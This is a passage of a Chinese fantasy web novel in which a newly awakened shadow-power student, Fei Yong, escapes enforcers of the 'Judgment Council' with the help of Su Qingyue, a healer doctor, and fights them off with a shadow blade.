费勇的背瞬间绷紧,像被踩住尾巴的猫。他猛地矮身躲到货架后面,透过零食袋的缝隙往外看——执法者的半截身影出现在门口,那只戴着银色手铐的手正指着街对面,手腕上的电火花在雨夜里亮得刺眼。
“没注意哦,”阿姨的声音带着小心翼翼的试探,“您找他……有事?”
“裁决会办案。”执法者的声音冷得像冰,“那小子是未登记异能者,抓住有奖。”
费勇的心跳撞得肋骨生疼,他死死咬住嘴唇才没让自己发出声音。膝盖的伤口像是被撒了把盐,疼得他指尖发颤,连呼吸都不敢太重。货架的阴影落在他身上,他下意识地往暗处缩了缩,忽然感觉影子好像……动了一下?
就在这时,一道清淡的女声在耳边响起,近得像在说悄悄话:“别动。”
费勇猛地转头,撞进一双清澈的杏眼。女孩穿着件洗得发白的白大褂,手里拎着个半旧的医药箱,不知什么时候站在他身后。她的头发用根素银簪子挽着,几缕碎发垂在脸颊边,沾了点雨珠,像沾了露水的柳叶。
“你……”费勇的声音卡在喉咙里。
女孩没说话,只是轻轻摇了摇头,然后转身走向收银台。她的白大褂下摆扫过货架,带起阵淡淡的草木清香,像雨后的青草地。
“张阿姨,麻烦拿盒碘伏和棉签。”她的声音温温的,像浸了温水的棉花,“刚才在医院加班,路过看见您这灯亮着,进来补点东西。”
执法者的目光落在她身上,带着审视:“你是医生?”
“嗯,晨曦医院的实习医生,苏清月。”女孩拿起棉签盒,转身时“不经意”地挡在了费勇藏身的货架前,白大褂的影子恰好盖住了他的膝盖,“您在找异能者?最近裁决会好像经常在这一带巡逻呢。”
“你见过?”执法者的声音陡然尖锐。
“不清楚呢,”苏清月低头付钱,指尖在收银台上轻轻敲了敲,“医院夜班忙得很,哪有空看街上的事。倒是刚才好像有个穿蓝外套的男生跑过去,瘸着腿,不知道是不是您要找的?”
执法者的脚步声往门口挪了挪:“蓝外套?往哪跑了?”
“好像……往东边的巷子去了。”苏清月抬手理了理鬓角,手腕上的银镯轻轻晃了晃,“那边路灯坏了,您可得小心。”
费勇在货架后屏住呼吸,听着执法者骂了句脏话,然后是脚步声急匆匆离开的声音。直到玻璃门的风铃再次响起又落下,他才敢大口喘气,后背已经被冷汗浸透。
“出来吧。”苏清月的声音传来。
费勇挪出来时,腿一软差点摔倒,被她伸手扶了一把。女孩的指尖微凉,触碰到他胳膊时,带着种奇异的清凉感,顺着皮肤爬上来,居然压下了几分头痛。
“谢谢……”他低着头,看见她白大褂的袖口沾了点草绿色的汁液,像是刚摘过什么植物。
“先处理伤口。”苏清月没多问,直接把他拉到便利店最里面的休息区,放下医药箱打开——里面没有手术刀,反而塞着半盒没拆封的薄荷糖,还有几包用牛皮纸包着的草药,标签上写着“安神草”“止血藤”之类的名字。
她拿出碘伏棉签,蹲下身时发簪轻轻晃动。费勇这才发现,她的白大褂里还穿着件浅绿的衬裙,裙摆绣着细小的藤蔓花纹,和她腕间的银镯倒是相配。
“疼的话就说一声。”苏清月捏着棉签的动作很轻,沾了碘伏的棉签碰到伤口时,居然没预想中那么疼,反而有种淡淡的清凉感顺着膝盖往上爬,像有无数片小叶子在轻轻舔舐伤口。
费勇愣住了:“这碘伏……”
“加了点薄荷醇。”苏清月头也不抬地说,指尖划过他膝盖的淤青处,那里的皮肤突然泛起层极淡的绿光,快得像错觉,“医院拿的,对付擦伤很管用。”
费勇盯着她的手腕,银镯上好像缠着根细得几乎看不见的绿线,正随着她的动作微微发亮。他突然想起刚才影遁时,执法者手铐上的电流扫过影子的瞬间,似乎也闪过类似的绿光。
“你……”费勇刚要开口,就被她递过来的薄荷糖堵住了话头。
“含着,能压惊。”苏清月站起身,收拾着医药箱,“裁决会的人没走远,我住的地方离这近,先跟我走。”
费勇捏着那颗薄荷糖,冰凉的甜味在舌尖化开。他看着女孩拎起医药箱走向门口,白大褂的影子在地上轻轻摇曳,像株被风吹动的青藤。
“为什么帮我?”他忍不住问。
苏清月回头看了他一眼,路灯的光落在她眼底,亮得像揉了碎星子:“张阿姨的儿子,三年前也被裁决会带走了。”她顿了顿,声音轻得像叹息,“能帮一个是一个。”
费勇攥紧了薄荷糖,跟着她走出便利店时,下意识地看了眼自己的影子——它好像比刚才更清晰了些,边缘还沾着点极淡的、像草叶般的绿色。
第6章:治愈的微光
休息室的白炽灯忽明忽暗,在墙上投下斑驳的光影。费勇刚被苏清月按坐在吱呀作响的木椅上,膝盖的刺痛就顺着神经爬上来,比在便利店时更甚——大概是刚才一路紧绷着没顾上,此刻放松下来,痛感便变本加厉了。
“别动。”苏清月的声音温温的,像浸了温水的棉花。她正蹲在费勇面前,解开医药箱的动作轻得像怕惊扰了什么。白大褂的袖口随着她的动作滑落,露出一截皓腕,银镯在灯光下泛着柔光,刚才在便利店没看清,此刻才发现镯身上缠着圈极细的绿线,像是用某种植物的藤蔓编织而成,末端还坠着颗米粒大的翡翠,随着她的动作轻轻晃动。
费勇的视线被那银镯吸引了一瞬,又赶紧移开——总盯着人家手腕看不太礼貌。可眼角的余光还是瞥见,苏清月从医药箱里拿出的不是碘伏,而是个巴掌大的青瓷小瓶,瓶身上描着淡绿色的缠枝纹,看着倒像个古董。
“这是……”他刚想问,就被苏清月递过来的薄荷糖堵住了嘴。冰凉的甜味在舌尖炸开,和便利店那颗味道一模一样,连包装纸上印的小猫图案都分毫不差。
“含着,能让你放松点。”苏清月拧开青瓷瓶,一股清冽的草木香瞬间弥漫开来,像是雨后的竹林混着薄荷的清爽。她用指尖沾了点瓶中的绿色汁液,轻轻点在费勇膝盖的伤口上。
“嘶——”费勇下意识地想缩腿,却被她按住了脚踝。出乎意料的是,那汁液落在伤口上不仅不疼,反而像有无数片细小的绿叶在轻轻舔舐皮肤,刚才火烧火燎的痛感瞬间消退了大半,连带着太阳穴的突突跳痛都缓和了些。
他低头看去,惊得差点把薄荷糖吞下去——只见那些绿色汁液接触到伤口的瞬间,竟化作无数根肉眼难辨的细小红藤,正顺着皮肤的纹理往里钻,而原本渗着血珠的伤口,以肉眼可见的速度在愈合,淤青也在慢慢变淡。
“你这是……异能?”费勇的声音含着糖,有点含混不清。他终于明白为什么刚才在便利店觉得她不简单了,这治愈速度,比校医院那些涂红药水的护士厉害十倍不止。
苏清月没直接回答,只是从医药箱里拿出卷纱布,动作轻柔地缠在他膝盖上。她的指尖很凉,碰到皮肤时带着种奇异的舒适感,让费勇想起小时候发烧,邻居奶奶用蒲扇给他扇风的感觉。
“裁决会的人为什么追你?”苏清月突然开口,视线落在费勇手腕上——那里还留着刚才被执法者手铐蹭出的红痕,“你的暗影异能,觉醒多久了?”
费勇愣住了。她不仅知道裁决会,还知道他的异能是“暗影”?他犹豫了一下,薄荷糖的甜味还在舌尖,看着苏清月清澈的杏眼,鬼使神差地说了实话:“前天……天台上,被他们堵的时候突然就能用了。”
“天台?”苏清月缠纱布的动作顿了顿,抬头看他,“是星海学院的天台?周三下午?”
费勇更惊讶了:“你怎么知道?”那天下午他逃课去天台睡觉,结果被三个穿黑西装的人堵住,就是在那时,他第一次感觉到影子“活”了过来,像有了自己的意识,自动形成护盾挡住了对方的电流攻击。
苏清月没回答,只是低头继续缠纱布,语气却沉了些:“那三个人,是不是右手手腕都有个银色的蛇形纹身?”
“对!”费勇猛地点头,“你也见过他们?”他记得很清楚,为首那个执法者动手时挽起了袖子,手腕上确实有个蛇形纹身,当时还觉得挺吓人的。
苏清月的指尖微微收紧,银镯撞到医药箱的金属边缘,发出清脆的响声。“他们是裁决会的‘执法队’,专门负责抓捕未登记的异能者。”她将纱布打了个漂亮的结,起身时,费勇才发现她白大褂的下摆沾着点泥土,像是刚从郊外回来,“被他们盯上的异能者,要么被强制‘登记’——其实就是关起来当实验品,要么……”
她没说下去,但费勇从她沉下去的眼神里猜到了答案。一股寒意顺着脊椎爬上来,他突然明白为什么刚才在便利店那么害怕了——那根本不是普通的“抓人”,是要命。
“那你……”费勇看着她收拾医药箱的动作,突然意识到一个问题,“你也是异能者?你的能力是治愈?”
苏清月合上医药箱,抬头对他笑了笑,那笑容像春风拂过湖面,漾起浅浅的涟漪。“算是吧。”她走到窗边,撩开窗帘一角往外看,雨不知何时停了,天边透出点鱼肚白,“我是青禾堂的人,专门处理异能者的‘后遗症’。”
“青禾堂?”费勇觉得这名字有点耳熟,想了半天突然记起来,“苏清月!你是不是那个传说中能让枯树开花的医生?校论坛上好多人说晨曦医院有个实习医生,能用草药治好植物人!”
苏清月被他说得愣了一下,随即失笑:“哪有那么神,只是能帮着恢复点生机罢了。”她转过身,从医药箱里拿出个小玻璃瓶递给费勇,里面装着半瓶绿色的药剂,和刚才涂在他伤口上的汁液很像,“这是‘清神露’,异能反噬的时候喝一口,比刚才的薄荷糖管用。”
费勇接过小瓶,指尖碰到玻璃时,感觉到里面的液体在轻轻晃动,像是有生命似的。“那你带我来这里……”
“这里是青禾堂的中转站。”苏清月指了指墙上的挂牌,费勇这才注意到,休息室的门后挂着块不起眼的木牌,上面刻着“青禾堂·晨曦分站”几个小字,“裁决会的人不敢来这里闹事,你暂时安全。”
她刚说完,外面突然传来一阵急促的脚步声,伴随着金属碰撞的脆响。苏清月的脸色微变,快步走到门边,透过猫眼往外看了一眼,回头对费勇做了个噤声的手势。
费勇立刻屏住呼吸,心脏又开始砰砰直跳。透过门缝,他听见外面有人在说话,其中一个声音有点熟悉——是刚才在便利店碰到的那个执法者!
“……苏医生应该在里面,刚才看到她进来了。”
“搜!判官有令,任何包庇异能者的人,同罪!”另一个声音更冷,带着不容置疑的威严。
费勇的手心瞬间冒出冷汗。他们怎么找到这里来了?苏清月明明说这里安全的!
就在这时,苏清月突然转身,掀开墙角的一块地板,露出下面的暗道入口。“进去。”她的声音压得很低,眼神却异常坚定,“沿着通道一直走,尽头是星海学院的后墙,老鬼会在那里等你。”
“那你……”费勇看着她,突然有点不忍心。
“我没事。”苏清月塞给他一个小小的青铜哨子,“遇到危险就吹这个,会有人帮你。”她推了费勇一把,“快进去!他们破门进来还有三十秒!”
费勇钻进暗道前,回头看了一眼。苏清月正将医药箱挡在暗道入口,同时从白大褂里抽出几根翠绿的藤蔓,藤蔓在她手中快速生长,尖端泛着冷光。阳光透过窗帘的缝隙照在她身上,白大褂的影子投在墙上,像一株即将迎风暴的青藤。
“对了,”费勇想起什么,从口袋里掏出个东西递给她,“这个还你。”是刚才在便利店她不小心掉的发簪,素银的,上面刻着片小小的叶子。
苏清月接过发簪,愣了一下,随即笑了,那笑容在紧张的气氛里,像突然绽开的白茉莉。“等你安全了,记得来青禾堂换糖吃。”
暗道的盖子在费勇头顶合上的瞬间,外面传来了破门的巨响,伴随着苏清月清冷的声音:“裁决会擅闯青禾堂地界,是想开战吗?”
费勇握紧手中的小瓶和青铜哨,沿着潮湿的通道往前跑。通道里很暗,只能看见自己的影子在墙上拉得很长,像在跟着他一起跑。他不知道老鬼是谁,也不知道前面等着他的是什么,但他攥紧了苏清月给的清神露——那里面,好像还残留着她指尖的凉意,和草木的清香。
第7章:裁决会的标记
休息室的木门刚合上,费勇就听见身后传来“咔哒”一声轻响——苏清月扣上了门后的黄铜暗锁。这动作让他莫名松了口气,仿佛那道薄薄的木门真能挡住外面的风雨与追杀。
“坐吧。”苏清月指了指靠墙的旧沙发,自己则拉开对面的木椅坐下。窗外的雨声不知何时小了,只剩下屋檐滴水的“嗒嗒”声,衬得屋里格外安静。费勇这才注意到,休息室的陈设简单得有些过分:一张掉漆的木桌,两把椅子,墙角堆着几个贴满标签的木箱,空气中弥漫着淡淡的草药香,混合着旧纸张的霉味。
“这地方……”费勇刚坐下,沙发就发出“吱呀”的抗议声,他赶紧直起身,“是你平时休息的地方?”
“算是青禾堂的一个中转站。”苏清月从木箱里翻出个搪瓷杯,倒了杯温水递给他,指尖碰到杯壁时,费勇又闻到了那股草木清香,“裁决会的人很少来医院闹事,这里暂时安全。”
费勇接过水杯,温热的触感顺着掌心蔓延开,稍微驱散了些寒意。他看着苏清月将医药箱放在桌上,动作轻柔地翻开箱盖,忽然想起刚才在便利店她挡在自己身前的样子——明明看着那么文静,却像株柔韧的青藤,看似柔弱,却能在风雨里撑起一片荫凉。
“你……”费勇抿了口温水,润了润干涩的喉咙,“怎么知道我是异能者?还知道那是暗影系?”
苏清月的动作顿了顿,抬眼时,杏眸在昏黄的灯光下显得格外清亮:“你的影子在便利店时动了。”她从医药箱里拿出个小布包,摊开后露出几株晒干的草药,叶片边缘泛着淡淡的绿光,“普通人的影子不会在无光的货架后自己蜷缩,更不会避开执法者的视线。”
费勇的心跳漏了一拍。他一直以为刚才躲得很隐蔽,没想到早就被看穿了。“那你还帮我……”
“为什么不帮?”苏清月将草药扔进石臼,拿起杵子轻轻碾着,“裁决会的人追捕未登记异能者时,可不会管你是好人还是坏人。”她的动作很轻,草药碎裂的“沙沙”声在屋里格外清晰,“十年前‘觉醒潮’后,像你这样突然觉醒异能的人有很多,大多数都像你一样,对这个世界一无所知,却要被卷进无休止的追杀里。”
“觉醒潮?”费勇抓住了关键词。这个词他在学校的历史课上听过,老师说那是十年前全球范围内突然出现的“超自然现象爆发期”,具体细节却语焉不详,只说是“科学暂时无法解释的异常”。
苏清月碾草药的动作停了下来,石臼里的绿色粉末泛着微光。“那不是什么自然现象。”她的声音沉了些,像是在说一个沉重的秘密,“是人为的。”
费勇愣住了。人为的?谁有这么大的本事,能让全球范围内的人突然觉醒异能?
“具体的我不能多说,”苏清月将草药粉收进纸包,抬头对他笑了笑,试图缓和气氛,“你现在最重要的是搞清楚自己的处境。裁决会认定你是‘未登记异能者’,他们的执法队不会善罢甘休。”
“登记?异能者还要登记?”费勇觉得这说法荒唐又可怕,“登记了又怎么样?像户口一样?”
“比户口麻烦得多。”苏清月走到墙角的木箱前,蹲下身翻找着什么,“裁决会的‘登记’,其实是强制收容。他们会给你注射‘抑制剂’,让你失去反抗能力,然后……”她顿了顿,声音轻得像叹息,“要么当他们的武器,要么当实验品。”
费勇的后背瞬间爬满了冷汗。他想起那个执法者手腕上的蛇形纹身,想起对方看自己时像看猎物的眼神,胃里一阵翻江倒海。“那……那我现在怎么办?”他的声音有些发颤,“我就是个普通大学生,我不想当武器,更不想被当成实验品!”
“别慌。”苏清月从木箱深处抽出一个牛皮纸信封,转身递给费勇,“这里有个地方能暂时收留你。”
费勇接过信封,入手沉甸甸的。拆开一看,里面是一张泛黄的老照片,照片上是栋古色古香的中式宅院,门口种着三棵枝繁叶茂的老槐树,树下站着个白胡子老人,正对着镜头笑。照片背面用毛笔写着一行字:城郊梧桐巷73号,青禾堂。
“青禾堂?”费勇抬头,“就是你刚才说的那个……”
“是异能者的医疗机构,也是中立组织。”苏清月点头,眼神变得格外认真,“那里有很多像你一样的异能者,也有能教你控制能力的人。裁决会虽然霸道,但暂时还不敢动青禾堂。”她指了指照片上的老槐树,“找到这三棵树就到了,报我的名字,秦伯会收留你。”
费勇捏着照片,指尖能感觉到纸张边缘的磨损,显然这照片被人反复摩挲过。他看着照片上那座安静的宅院,突然觉得心里踏实了些——至少,不再是毫无头绪地被追杀了。
“谢谢你,苏清月。”他真心实意地说,“如果不是你……”
“举手之劳。”苏清月笑了笑,刚想说什么,窗外突然传来“咻”的一声锐响!
两人同时转头看向窗户——下一秒,“哗啦”一声脆响,玻璃窗被什么东西砸得粉碎!碎片飞溅中,三枚漆黑的飞镖带着刺鼻的硝烟味,“笃笃笃”钉在了对面的墙上,尾端还在微微颤动。
费勇吓得猛地站起身,后背撞到沙发扶手,疼得他龇牙咧嘴。苏清月却比他镇定得多,迅速将他拉到木箱后面,自己则捡起一枚掉落的玻璃碎片,警惕地看向窗外。
“那是什么?”费勇压低声音问,心脏跳得像要撞破胸膛。
苏清月的脸色有些发白,声音带着前所未有的凝重:“是裁决会的追杀标记。”她指了指墙上的飞镖,费勇这才看清,飞镖是用某种黑色金属制成的,表面刻着诡异的纹路,尾端还沾着点荧光粉,在昏暗的屋里亮得渗人,“这意味着,他们的‘审判组’已经到了。”
“审判组?”
“比执法队更难缠的角色。”苏清月快速收拾起桌上的医药箱,将那包草药粉塞进费勇手里,“他们的异能更强,而且……”她的话被窗外传来的脚步声打断,那声音很轻,却带着种令人窒息的压迫感,一步步逼近。
苏清月眼神一凛,猛地拉开墙角的一块地板,露出下面黑漆漆的通道:“从这里走,直通医院后门的小巷。记住,不管听到什么都不要回头,直接去梧桐巷!”
费勇看着那深不见底的通道,又看了看苏清月。窗外的脚步声越来越近,甚至能听到有人在低声说话,那声音冷得像冰,让他浑身发冷。
“那你怎么办?”
“我自有办法。”苏清月推了他一把,力道不大,却带着不容置疑的坚决,“快走!审判组的人来了,我们谁都走不了!”
费勇咬了咬牙,最后看了一眼苏清月——她正将一枚飞镖从墙上拔下来,指尖捏着飞镖的纹路,眼神沉静得像深潭。他不再犹豫,弯腰钻进了通道。
在他进入通道的瞬间,身后传来苏清月清冷的声音,像是在对窗外说话,又像是在对他说:
“青禾堂的人,可不是那么好欺负的。”
通道口的地板“咔哒”一声合上,隔绝了外面的一切声音。费勇摸着黑往前爬,手里紧紧攥着那张老照片和那包草药粉,鼻尖萦绕着淡淡的草木香,像苏清月刚才的笑容一样,在黑暗里给了他一丝莫名的勇气。
第8章:被迫的反击
玻璃破碎的脆响还没落地,三道黑影就像出膛的炮弹般破窗而入。费勇甚至没看清对方是怎么动作的,只觉得眼前一花,那三人已经呈三角站位,将休息室的出口堵得严严实实。为首的男人手里攥着把短刀,刀身泛着冷硬的金属光泽,连指节都透着不正常的青灰色——像是整只手都被镀上了层铁皮。
“苏医生,藏得够深啊。”男人的声音像砂纸磨过铁板,刺耳得很,“裁决会的目标,也敢私藏?”
苏清月几乎在对方破窗的瞬间就动了。她猛地将费勇往里间推,自己则反手抄起桌上的手术刀,动作快得像道白色闪电。“费勇,从后门走!”她的声音里听不出丝毫慌乱,白大褂的下摆被带起的风掀起,露出里面浅绿衬裙上绣着的藤蔓花纹,倒像是某种无声的宣战。
费勇被推得踉跄了两步,后腰撞在里间的门框上,疼得他龇牙咧嘴。他刚想转身,眼角的余光却瞥见那持刀男人突然动了——短刀带着破空声直刺苏清月的肩膀,速度快得根本看不清轨迹。
“小心!”费勇的喊声卡在喉咙里。
苏清月的反应更快。她手腕一翻,手术刀精准地磕在对方刀背上,发出“叮”的脆响。借着这股反作用力,她身体像片柳叶般向后飘退,同时另一只手飞快地在腰间一抹,几根翠绿的藤蔓突然从白大褂袖口钻了出来,像有生命般缠向男人的手腕。
“雕虫小技。”男人嗤笑一声,手臂猛地发力,那层青灰色的“铁皮”竟泛起了金属光泽。藤蔓刚缠上去就被震得节节断裂,碎成了绿色的光点。
费勇看得眼睛发直。这就是异能者的战斗?比他在网吧玩的《异能联盟》刺激一百倍!
就在他愣神的瞬间,另外两名执法者动了。他们没去管苏清月,而是径直朝里间冲来,显然是想先解决费勇这个“目标”。两人手里都握着银色的手铐,正是费勇在天台上见过的那种“异能抑制器”,此刻正滋滋冒着蓝白色的电火花。
“妈的!”费勇爆了句粗口,转身就想往里面躲。可里间就是个堆放杂物的小仓库,除了一扇通往后巷的窄门,根本无处可藏。
“砰!”左边那名执法者一脚踹在费勇后腰上,力道大得像被卡车撞了下。费勇扑在堆着的纸箱上,后脑勺又挨了一下,眼前瞬间炸开一片金星。
“抓住这小子!”执法者的狞笑声在耳边响起。
费勇挣扎着想爬起来,却被人死死按住了后背。冰冷的金属触感贴上他的手腕——是抑制器!他脑子里“嗡”的一声,想起苏清月说过的“注射抑制剂就会失去反抗能力”,一股从未有过的恐慌猛地攫住了他。
不能被抓住!
这个念头刚冒出来,他突然感觉到体内有什么东西“醒”了。不是头痛,也不是之前那种影子自主防御的冰凉感,而是一种……沸腾的躁动。就像有团黑色的火焰在血液里燃烧,顺着血管流遍全身,最后汇聚在心脏的位置,突突地跳着,像是在催促着什么。
他下意识地看向地面——自己的影子正趴在纸箱投下的阴影里,边缘却在不安地扭曲、翻涌,像条即将破茧的黑色毛毛虫。
“放开他!”苏清月的喊声带着焦急。
费勇艰难地转过头,正好看到苏清月被那持刀男人逼得连连后退。她的左肩不知何时被划开了道口子,鲜血浸透了白大褂,像朵绽开的红梅,刺眼得让人心慌。那男人显然没打算手下留情,短刀再次扬起,这次瞄准的是她的脖颈。
就是这个瞬间。
费勇感觉体内那团“黑色火焰”突然炸开了。他甚至来不及思考,只是在心里疯狂地呐喊着——
保护她!
给我拦住他!
快啊!
下一秒,诡异的事情发生了。
趴在地面的影子猛地掀起,像块被狂风卷起的黑布。在费勇震惊的注视下,那些翻涌的影子边缘开始快速凝聚、塑形,最终化作了一把尺长的短刃——刃身漆黑如墨,边缘却泛着冷冽的光泽,像用最深的黑夜凝结而成。
影刃就那么悬浮在离他鼻尖不到半尺的地方,带着种冰凉的“存在感”。
“这……”按住他的执法者也懵了,手上的力道松了半分。
费勇几乎是本能地伸出手,握住了那把影刃。
入手的瞬间,一股冰凉的触感顺着指尖蔓延开,却奇异地驱散了后脑勺的疼痛。影刃很轻,轻得像没有重量,却又带着种难以言喻的“锋利”,仿佛只要轻轻一挥,就能切开世间万物。
“还愣着干什么!”持刀男人的怒吼声传来。
费勇猛地回神,眼中闪过一丝连自己都没察觉的狠厉。他手腕一翻,影刃贴着地面划过道黑色的弧线,精准地砍在按住他后背的那只手上。
“啊!”执法者发出一声惨叫,像被烫到般缩回手。他的手腕上出现了道细细的血痕,伤口处的皮肤竟在以肉眼可见的速度变得焦黑,像是被某种腐蚀性的力量侵蚀着。
另一名执法者还没反应过来,费勇已经借着这股空档翻身跃起。他甚至没看对方,凭着刚才那股莫名的冲动,握紧影刃就冲出了里间,目标只有一个——那个持刀的男人!
“找死!”男人刚躲过苏清月的藤蔓攻击,转头就看到费勇冲了过来,脸上露出不屑的狞笑,“一个刚觉醒的菜鸟也敢……”
他的话没能说完。
费勇的速度不快,动作甚至有些笨拙,但他的影子却像活了过来。在他冲出的瞬间,地面的影子突然拉长,像条黑色的鞭子缠住了男人的脚踝。男人的动作顿了半秒——就是这半秒,足够了。
费勇咬紧牙关,将全身的力气都灌注在右手上,影刃带着破空声劈向男人的后颈。
他本以为会像砍在钢板上,毕竟这人连藤蔓都能震碎。可出乎意料的是,影刃落下的瞬间,竟像切黄油般划过了那层青灰色的“铁皮”!
“噗嗤。”
轻微的切割声响起。
男人的身体猛地僵住了。他难以置信地转过头,后颈处出现了道黑色的伤口,黑色的“血液”正从里面汩汩涌出,散发出刺鼻的焦糊味。
“你……你的异能……”男人的声音带着惊骇,身体晃了晃,竟然直挺挺地倒了下去,那层青灰色的“铁皮”以肉眼可见的速度褪去,露出底下苍白的皮肤。
费勇握着影刃,胸口剧烈起伏着。他看着自己的手,又看了看地上昏迷的男人,脑子一片空白。
我……做到了?
“小心!”苏清月的喊声再次响起。
费勇猛地抬头,发现剩下那两名执法者正一脸惊恐地看着他,手里的抑制器却握得更紧了。其中一人突然从怀里掏出个黑色的小球,狠狠砸在地上!
“***!”苏清月的声音带着警示。
浓烈的灰白色烟雾瞬间弥漫开来,和费勇在天台上闻到的味道一模一样,带着刺鼻的消毒水味。费勇下意识地屏住呼吸,却看到苏清月突然抬手按住他的肩膀,同时另一只手快速结了个奇怪的手势。
“滋啦——”
烟雾中突然响起电流的滋滋声。紧接着是两声惨叫,似乎有人被电到了。
费勇正纳闷,烟雾里突然伸出几只藤蔓,像灵活的蛇般缠住了那两名执法者的脚踝,将他们狠狠绊倒在地。苏清月的身影从烟雾中走出来,手里不知何时多了根金属输液架,刚才的电流声显然是她用这个传导的。
“搞定。”苏清月拍了拍手,藤蔓自动收紧,将两人捆得结结实实。她转身看向费勇,目光落在他手里的影刃上,眼中闪过一丝惊讶,“你……能主动凝聚影刃了?”
费勇这才注意到,那把黑色的影刃还悬浮在他掌心,只是边缘的光泽暗淡了些。他试着松开手,影刃却像粘在他手上似的,怎么都甩不掉。“我……我也不知道,刚才脑子里就想着要保护你,它就自己出来了。”
苏清月走到他面前,仔细看了看影刃,又看了看地上昏迷的执法者,突然笑了:“看来你的暗影异能,比我想象的要厉害。”她抬手想碰影刃,指尖刚靠近就被一股无形的力量弹开,“这影刃带着‘湮灭’属性,能克制大部分强化系异能,难怪能切开他的硬化皮肤。”
费勇听得云里雾里:“湮灭属性?”
“简单说,就是能吞噬能量。”苏清月指了指男人后颈的伤口,“他的硬化异能靠的是能量维持,被影刃切开后,能量会被吞噬,自然就失效了。”她顿了顿,眼神变得有些复杂,“不过这种能力消耗很大,你现在感觉怎么样?”
经她一提醒,费勇才感觉到一阵强烈的虚弱感。头又开始隐隐作痛,握刀的右手也有些发麻,影刃的光泽越来越暗,眼看就要消散了。“有点……累。”
“正常,初次凝聚攻击性异能都会这样。”苏清月从医药箱里拿出个小瓷瓶,倒出两颗绿色的药丸递给费勇,“含着,能补充点能量。”
药丸入口即化,带着清凉的草木味,虚弱感果然缓解了些。影刃在这时“嗡”的一声,化作黑色的光点消散在空气中,像从未出现过。
费勇看着空荡荡的手心,突然觉得有点不真实。就在几分钟前,他还是个被追得像条狗的普通大学生,现在却能靠自己的异能打倒裁决会的执法者了?
“别高兴太早。”苏清月像是看穿了他的心思,一边用藤蔓将三名执法者捆在暖气片上,一边说道,“这只是最低级的执法者,裁决会真正厉害的是审判长。而且……”她侧耳听了听外面的动静,脸色微变,“他们的支援应该快到了。”
费勇的心猛地一沉:“那我们现在怎么办?”
苏清月走到后巷的窄门前,回头对他露出个安抚的笑容,左肩的血迹在白大褂上格外显眼,却奇异地让她的眼神显得更加坚定:“我刚才说过,青禾堂在城郊梧桐巷,门口有三棵老槐树。”她从口袋里掏出个小玻璃瓶,里面装着绿色的药剂,“这个你拿着,异能反噬的时候喝一口,能缓解痛苦。”
费勇接过药瓶,指尖碰到她的手,才发现她的指尖冰凉,还在微微颤抖——原来她刚才也不是那么镇定。
“那你呢?”费勇问。
“我引开他们。”苏清月推开门,后巷潮湿的风灌了进来,吹动她颊边的碎发,“我是青禾堂的人,他们不敢轻易动我。”她顿了顿,补充道,“对了,去青禾堂找秦伯,就说是我让你去的。”
远处突然传来警笛声,由远及近,越来越清晰。
苏清月的眼神一凛:“警察来了,可能有裁决会的人混在里面。我去前面吸引注意力,你从这里走,顺着后巷一直往西,过三个路口就是梧桐巷。”她推了费勇一把,“快走!别回头!”
费勇看着她左肩的血迹,又看了看手里的药瓶,突然觉得鼻子有点酸。他想说句“谢谢”,又想说句“小心”,最终却只是用力点了点头,转身冲进了后巷的黑暗里。
跑出去很远之后,他回头看了一眼——休息室的方向亮起了警灯的红光和蓝光,隐约能看到道白色的身影朝着医院主楼跑去,像株在风雨中前行的青藤。
费勇握紧了手里的药瓶,将苏清月的叮嘱刻在心里。
梧桐巷,三棵老槐树,秦伯。
他深吸一口气,加快脚步,消失在沉沉的夜色里。
第9章:分道与约定
后巷的风带着雨后的湿冷,刮在脸上像小刀子。费勇刚跑出没两步,就听见身后传来藤蔓收紧的“簌簌”声——不用回头也知道,苏清月正在用她的能力加固对执法者的束缚。他攥紧了口袋里那瓶绿色药剂,玻璃瓶的冰凉透过布料渗过来,倒让他混乱的脑子清醒了几分。
“等等!”苏清月的声音突然从身后传来。
费勇猛地刹住脚,差点因为惯性摔个狗吃屎。他转身时,正看到苏清月从休息室里跑出来,白大褂的下摆沾着点灰尘,左肩的血迹已经被草草包扎过,渗血的纱布透着诡异的红。她手里拿着个牛皮纸包,跑起来时怀里还抱着个眼熟的医药箱——显然是把重要的东西都带上了。
“这个给你。”苏清月跑到他面前,把牛皮纸包塞进他手里。费勇捏了捏,里面是硬纸板的质感,边角有点硌手,像是本书。“青禾堂的地图和秦伯的联系方式,万一迷路了……”
“我不会迷路的。”费勇赶紧打断她。这话说得有点心虚,他其实是个路痴,上次去邻校找同学,光在地铁站就绕了三圈。
苏清月被他认真的样子逗笑了,眼角弯成了月牙:“拿着吧,以防万一。”她又从医药箱里拿出个小瓷瓶,就是刚才给费勇药丸的那个,“这里面的‘清神丸’,异能反噬时嚼一颗,比药剂起效快。”
费勇看着她把东西一样样塞进自己口袋,突然觉得有点不真实。几个小时前,他们还是素不相识的陌生人,现在却像是并肩作战过的战友。他张了张嘴,想问她肩膀的伤要不要紧,想问青禾堂到底是什么地方,想问裁决会为什么偏偏盯着他不放……可话到嘴边,却只变成了句干巴巴的“谢谢”。
“谢什么。”苏清月理了理他被风吹乱的衣领,指尖的温度很轻,“我们都是异能者,本就该互相照应。”她抬头看了眼医院主楼的方向,警笛声已经很近了,红蓝交替的光透过巷口的拐角照进来,在墙上投下斑驳的光影,“警察快来了,里面肯定有裁决会的眼线,我去引开他们,你沿着这条巷一直往西,第三个路口左拐就是梧桐巷。”
费勇点头如捣蒜,把她的话在心里默念了三遍——往西,第三个路口,左拐,梧桐巷。
“对了,”苏清月像是突然想起什么,从手腕上褪下那个缠着绿线的银镯,不由分说地套在费勇手腕上,“这个你带着。”
银镯刚戴上时有点凉,很快就变得温热起来。费勇低头看着镯身上那圈细密的藤蔓纹路,突然想起便利店货架后,就是这镯子微微发光,才让他的头痛缓解了大半。“这是……你的法器?”他在里看过类似的设定。
“算是吧。”苏清月的指尖在镯身上轻轻敲了敲,那圈绿线突然亮了亮,“里面有我的藤蔓种子,遇到危险时,捏三下它,我能感觉到。”她顿了顿,补充道,“别担心,我不会贸然赶来的,只是……让你多道保障。”
费勇攥紧了银镯,冰凉的金属触感让他莫名安心。他突然注意到,苏清月白大褂的口袋里露出半截照片,边缘泛黄,像是被反复摩挲过。他想起那张青禾堂的照片,心里隐约猜到了什么,却没敢问。
“走了。”苏清月推了他一把,力道很轻,却带着不容置疑的坚决,“记住,到了青禾堂,就说你是我苏清月的朋友,秦伯会护着你的。”
费勇还想说点什么,巷口突然传来杂乱的脚步声,伴随着扩音器的喊话声:“里面的人听着,城际刑侦队办案,立刻出来配合调查!”
